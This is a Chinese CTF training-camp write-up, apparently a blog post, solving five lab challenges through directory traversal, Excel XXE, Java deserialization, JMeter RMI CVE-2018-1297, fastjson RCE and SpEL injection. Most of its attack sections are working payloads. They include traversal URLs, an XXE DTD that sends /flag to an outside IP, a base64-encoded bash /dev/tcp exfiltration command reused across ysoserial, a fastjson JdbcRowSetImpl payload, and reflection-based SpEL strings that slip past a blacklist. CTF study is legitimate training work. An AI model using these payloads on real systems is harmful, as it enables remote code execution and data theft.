山石安研第一届CTF训练营

温馨提示:点击页面下方以展开或折叠目录~

山石安研第一届CTF训练营

过去一周参加了山石安研的ctf训练营,做了几道题感觉还是颇有意义,虽然不难,但是算是某些类型的典型题吧,靶机可能访问不到了,不过关键还是在于记录下一些思路和分析过程吧

这些题目分别涉及目录穿越、Excel XXE、反序列化、RMI、fastjson 1.2.47 RCE、shiro反序列化CVE-2016-4437、spel注入等知识点

最后一道后来发现是p神的一道题,javacon的表达式沙盒绕过

https://github.com/phith0n/code-breaking/tree/master/2018/javacon

最近发现博客访问人数突然多了,,本来只想自己记录下学习过程,现在意外的发现还有分享的作用,顺便放几道代审题的附件吧

链接:https://pan.baidu.com/s/1I4z7-jBcOUyt1d4lDR-8zQ
提取码:2333

作业一wp

  • 知识点:任意文件下载、目录穿越、代码审计、Excel XXE

地址:http://58.240.236.228:32013/

进去后是一个上传文件的地方,一开始还以为是上传个一句话木马的php,但是上传后发现他并不会解析成可访问路径,不过在下载文件的接口发现需要传一个filename,尝试更改一些其他的文件名,发现当文件名含有flag时会返回禁止读取,当传空参时回显500,爆出疑似项目路径

image

尝试目录穿越访问该web项目的配置文件

1
2
# payload
http://58.240.236.228:32013/file_in_java/DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/web.xml

image

获取到项目源码的包名后,直接通过这个接口下载三个class文件

1
2
# payload
http://58.240.236.228:32013/file_in_java/DownloadServlet?filename=../../../../../../../../../usr/local/tomcat/webapps/file_in_java/WEB-INF/classes/cn/abc/servlet/DownloadServlet.class

放入jd-gui反编译,重点关注UploadServlet,可以看到在红色框标识处的条件判断,当文件名以“excel-”开头且为“xlsx”后缀的文件时会使用POI解析这个excel文档,因此考虑excel xxe

image

首先新建一个.xlsx格式的excel文档,修改后缀名为.zip,然后解压,在[Content_Types].xml中插入一段xml,作用是从远程服务器获取evil.dtd文件,其中%all;%send;是定义在evil.dtd中的,evil.dtd作用是读取根目录下的flag文件并发送到远程服务器的9000端口

  • [Content_Types].xml插入部分
1
2
3
4
<!DOCTYPE root [
<!ENTITY % remote SYSTEM "http://1.14.169.109:8000/evil.dtd">
%remote;%all;%send;
]>
  • evil.dtd
1
2
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % all "<!ENTITY &#37; send SYSTEM 'http://1.14.169.109:9000?file=%file;'>">

image

改完xml后将文件夹重新压缩回zip,然后文件名改为excel-.xlsx以满足条件判断让服务器解析该文档

evil.dtd文件则上传到vps(我用的是腾讯云)

1
2
3
scp 本地文件地址 vps账号@vps公网ip:服务器文件地址
scp /mnt/hgfs/Kali_share/evil.dtd root@x.x.x.x:/root/evil.dtd
然后输入vps密码就可以了

接着登录vps,进入evil.dtd所在的文件夹,用python开启一个web服务

1
2
3
# python2 3使用方法不一样,但是效果一样
python2 -m SimpleHTTPServer
python3 -m http.server

这个服务默认开启在8000端口,访问[ip:port]即可看到目录下的evil.dtd

image

接着根据我们写的evil.dtd,会将读取到的flag发送到9000端口,因此用nc监听该端口

1
nc -lvvp 9000

然后上传文件即可发现服务器从我们的vps下载了evil.dtd,且将数据发送到了9000端口

image

作业二wp

  • 知识点:代码审计、反序列化

直接idea打开项目,源码很少,只有一个类,直接看关键方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
public class Hello {

.....

@PostMapping("/attack")
@ResponseBody
public String attack(HttpServletRequest req){
try{
String strstr = "iwantflag";
// 从request读取数据流
BufferedReader br = new BufferedReader(new InputStreamReader(req.getInputStream()));
StringBuffer sb=new StringBuffer();
String s;
// 将数据流写到Stringbuffer里
while((s=br.readLine())!=null){
sb.append(s);
}
// Base64解密数据流
byte[] bytes = (new BASE64Decoder()).decodeBuffer(sb.toString());
// 将字节数组转化为输入流
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
// 将输入流反序列化为HashMap对象
ObjectInputStream ois = new ObjectInputStream(bais);
HashMap obj = (HashMap) ois.readObject();
// 读取HashMap对象中的键值对
Set<Object> objset = obj.keySet();
Iterator it = objset.iterator();
while(it.hasNext()){
Object key = it.next();
// 当key为URL类的一个实例对象时通过条件判断
if(key.getClass() == URL.class){
// 获取URL实例对象key的host属性的值
String url = ((URL)key).getHost();
// 若该值包含strstr="iwantflag"则读取flag
if(url.contains(strstr)){
return getFlag();
}
}
}

}catch (Exception e){
e.printStackTrace();
}

return "zai try try:(";

}
....
}

分析完流程就很好做了,读取flag的正向流程如下

1
2
3
4
5
6
读取数据流
->Base64解密
->反序列化为HashMap对象
->HashMap对象的键为URL类的一个对象
->该对象的host属性的值包含"iwantflag"字符串
->读取flag

接下来我们只要逆向构造出一个满足条件的HashMap对象,并将其序列化后base64解密即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
public static void test() throws IOException {
String strstr = "iwantflag";
HashMap hashMap = new HashMap();
// URL类的构造方法需要4个参数,其中第二个参数即为host,也就是getHost()方法获取到的参数,其他几个随便写就行
URL urlObj = new URL("http","iwantflag",9000,"");
// 设置key-value对,关键是key必须为URL类的对象,value无所谓,用不到
hashMap.put(urlObj,"");
Set<Object> objectSet = hashMap.keySet();
Iterator iterator = objectSet.iterator();
while (iterator.hasNext()) {
Object key = iterator.next();
if(key.getClass() == URL.class){
String url = ((URL)key).getHost();
if(url.contains(strstr)){
// 以上几行都是为了模拟正向读取flag进行的判断,实际上对流程没影响
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(baos);
// 将HashMap序列化后写入流
outputStream.writeObject(hashMap);
outputStream.close();
// 将流的字节数组base64加密
String encodeStr = new BASE64Encoder().encode(baos.toByteArray());
// 打印结果
System.out.println(encodeStr);
}
}
}
}

打印出来的结果直接丢到burp里面发送即可获取flag

image

作业三wp

  • 知识点:jmeter反序列化rce、CVE-2018-1297

地址:58.240.236.228:31099(是个rmi服务)

既然都是rmi了,题目又有jmeter,直接拿去搜,找到一个Jmeter RMI的反序列化漏洞CVE-2018-1297,而且ysoserial也集成了exp,直接使用,然后执行读取flag的命令重定向发送到我们自己的vps,然后自己在vps上监听端口即可

1
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 58.240.236.228 31099 BeanShell1 'bash -c {echo,Y2F0IC9mbGFnID4mIC9kZXYvdGNwLzEuMTQuMTY5LjEwOS85MDAwIDA+JjE=}|{base64,-d}|{bash,-i}'

参考:https://vulhub.org/#/environments/jmeter/CVE-2018-1297/

关于[cmd]部分为何长这样:因为当调用Runtime.getRuntime().exec()时,会因为重定向符号“>”被错误解释,因此当我们的cmd需要使用重定向符时需要经过Base64编码和bash的重新编排

原cmd:

1
cat /flag >& /dev/tcp/ip/9000 0>&1

转换后:

image

工具地址:http://www.jackson-t.ca/runtime-exec-payloads.html

image

作业四wp

地址:58.240.236.228:38833

访问后返回一个json格式化的数据

  1. 抓包,修改GET为POST,添加头部Content-Type: application/json,发送一段不完整的json探测一下,确定是fastjson

    image

  1. dnslog探测一下,没问题

    image

  2. 首先编写Exploit.java,目的是让目标服务器通过rmi加载然后执行

    • 执行的命令为cat /flag >& /dev/tcp/1ip/9000 0>&1经过base64和shell编码编排后的结果
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    import java.io.IOException;
    import java.lang.Runtime;
    public class Exploit {
    static {
    try {
    Runtime.getRuntime().exec("bash -c {echo,Y2F0IC9mbGFnID4mIC9kZXYvdGNwLzEuMTQuMTY5LjEwOS85MDAwIDA+JjE=}|{base64,-d}|{bash,-i}");
    } catch (IOException ignored) {

    }
    }
    }
  3. 准备工具

  4. 将jar包和Exploit一起上传到vps

    • 在目录下开启web服务

      python3 -m http.server

    • 监听9000端口

      nc -lvvp 9000

    • 开启rmi服务

      java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://ip:8000/#Exploit" 9999

  5. 发送payload到服务器即可

    1
    {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:9999/Exploit","autoCommit":true}}

    image

ShiroSpel

  • 知识点:代码审计、表达式注入、黑名单过滤绕过、CVE-2016-4437

地址:58.240.236.228:33014

反编译后直接看MainController

关注以下两个关键方法

  • 首先是登录页面,代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@PostMapping({"/login"})
public String login(@RequestParam(value = "username",required = true) String username, @RequestParam(value = "password",required = true) String password, @RequestParam(value = "remember-me",required = false) String isRemember, HttpSession session, HttpServletResponse response) {
if (this.userConfig.getUsername().contentEquals(username) && this.userConfig.getPassword().contentEquals(password)) {
session.setAttribute("username", username);
if (isRemember != null && !isRemember.equals("")) {
Cookie c = new Cookie("remember-me", this.userConfig.encryptRememberMe());
c.setMaxAge(2592000);
response.addCookie(c);
}

return "redirect:/";
} else {
return "redirect:/login-error";
}
}
  • 接受三个参数,其中username和password均为admin(写在application.yml里面)

  • remember-me为可选参数,当不为空时,调用加密函方法,并设置为Cookie值,加密方法如下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    // UserConfig
    public String encryptRememberMe() {
    String encryptd = Encryptor.encrypt(this.rememberMeKey, "0123456789abcdef", this.username);
    return encryptd;
    }
    //Encryptor
    public static String encrypt(String key, String initVector, String value) {
    try {
    IvParameterSpec iv = new IvParameterSpec(initVector.getBytes("UTF-8"));
    SecretKeySpec skeySpec = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
    Cipher cipher = Cipher.getInstance("AES/CBC/PKCS5PADDING");
    cipher.init(1, skeySpec, iv);
    byte[] encrypted = cipher.doFinal(value.getBytes());
    return Base64.getUrlEncoder().encodeToString(encrypted);
    } catch (Exception var7) {
    logger.warn(var7.getMessage());
    return null;
    }
    }
    • 容易看出用了aes加密,其中初始向量iv=0123456789abcdef,密钥rememberMeKey=c0dehack1nghere1(同样写在application.yml里
  • 以上是登录的流程的分析,若登录成功,则会跳转到根页面hello,以下是关键代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@GetMapping
public String admin(@CookieValue(value = "remember-me",required = false) String rememberMeValue, HttpSession session, Model model) {
if (rememberMeValue != null && !rememberMeValue.equals("")) {
String username = this.userConfig.decryptRememberMe(rememberMeValue);
if (username != null) {
session.setAttribute("username", username);
}
}

Object username = session.getAttribute("username");
if (username != null && !username.toString().equals("")) {
model.addAttribute("name", this.getAdvanceValue(username.toString()));
return "hello";
} else {
return "redirect:/login";
}
}
  • 接受一个可选参数remember-me,若非空,则调用解密函数,将解密结果赋值给username,持久化后返回hello页面,在hello页面返回前还执行了model.addAttribute("name", this.getAdvanceValue(username.toString()));,这个方法大概作用就是:
    • 将username进行黑名单过滤,黑名单就一个Runtime.getRuntime().exec()
    • 解析SpEL表达式
    • 解析结果返回hello页面
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
// 为了阅读方便,我将var2、3、4等变量改为其实际意义以便阅读
private String getAdvanceValue(String username) {
String[] blackList = this.keyworkProperties.getBlacklist();
int blackList_length = blackList.length;

for(int i = 0; i < blackList_length; ++i) {
String keyword = backList[i];
Matcher matcher = Pattern.compile(keyword, 34).matcher(username);
if (matcher.find()) {
throw new HttpClientErrorException(HttpStatus.FORBIDDEN);
}
}

ParserContext parserContext = new TemplateParserContext();
Expression exp = this.parser.parseExpression(username, parserContext);
SmallEvaluationContext evaluationContext = new SmallEvaluationContext();
return exp.getValue(evaluationContext).toString();
}

到这里整个程序的关键部分基本已经分析完了,思路也容易想到:

  • 首先先登录系统
  • 接着使用aes的密钥和初始向量加密一段payload,作为cookie里的remember-me的值发送
  • 服务器将解密结果赋值给username,经过黑名单过滤后交给SpEl表达式解析

我们的目的就是让表达式解析我们的恶意payload而造成rce

先测试一下我们的思路对不对,首先用源码的加密方式加密字符串2*2,然后把密文当作cookie的remember-me发送

image

结果我惊了,好消息是加密方式没错,确实能将username设置为我们想要的内容,坏消息是他压根没被解析出来,按理来说应该得是4才对,经过调试后发现,在ParserContext parserContext = new TemplateParserContext();定义了表达式的模板(或者说是格式),其中TemplateParserContext类规定了表达式的形式是#{Expression Language}的形式,这就好办了,我们把#{2*2}加密一下重新尝试

image

居然还是不行….但是我自己写了个类又是没问题的,后来重新看代码的时候才发现,,后端设值语句为model.addAttribute("name", this.getAdvanceValue(username.toString()));,而前端取值语句为<h2 th:text="'Hello, ' + ${session.username}"></h2>,完全不对应,,,等于说后端其实是执行了的,只是没有把执行结果返回前端而已(一时竟不知这是出题人失误还是故意的)

现在只剩下最后过个黑名单了,这个也十分简单,用反射+字符串拆分就行,编写payload如下

1
String value = "#{T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec', T(String[])).invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRun'+'time').invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime')), new String[]{'calc.exe'})}";

对payload进行加密后,本地起项目尝试发送,成功弹窗,说明已经完成rce,最后就是读取flag了

image

最后将执行的命令改为读取flag并带出,payload如下

image

1
String value = "#{T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec', T(String[])).invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRun'+'time').invoke(T(String).getClass().forName('java.la'+'ng.Ru'+'ntime')), new String[]{'bash','-c','{echo,Y2F0IC9mbGFnID4mIC9kZXYvdGNwLzEuMTQuMTY5LjEwOS85MDAwIDA+JjE=}|{base64,-d}|{bash,-i}'})}";

image

监听端口,成功获取flag

最后想了一下,这道题虽然没用shiro但是还是叫这个名的意思大概是因为在spel表达式注入之前的漏洞利用的是shiro的CVE-2016-4437?就也是因为AES硬编码、使用默认密钥导致的,通过cookie的rememberMe参数注入的漏洞